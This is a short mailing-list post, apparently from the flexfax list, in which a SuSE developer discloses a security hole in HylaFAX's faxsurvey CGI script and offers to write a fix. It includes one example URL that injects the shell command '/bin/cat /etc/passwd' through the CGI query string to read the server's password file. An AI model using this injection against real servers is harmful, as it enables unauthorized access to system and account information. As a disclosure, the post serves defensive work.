flexfax: Security-Hole in faxsurvey-form

[Carsten Hoeger <choeger@suse.de>]

Hello all,


JFYI:


in the faxsurvey-cgi that comes with HylaFAX is a security-hole.

If you try this:

http://www.anyhost-with-this-cgi.com/cgi-bin/faxsurvey?/bin/cat%20/etc/passwd


You can e.g. read the host's passwd...


If this survey is from interest, I'll make a bug-fix.

-- 
mfG,
	Carsten Hoeger
------
Carsten Hoeger  - S.u.S.E. GmbH -  Gebhardtstr. 2  -  90762 Fuerth  -  Germany
fax +49-911-3206727                                     web http://www.suse.de
------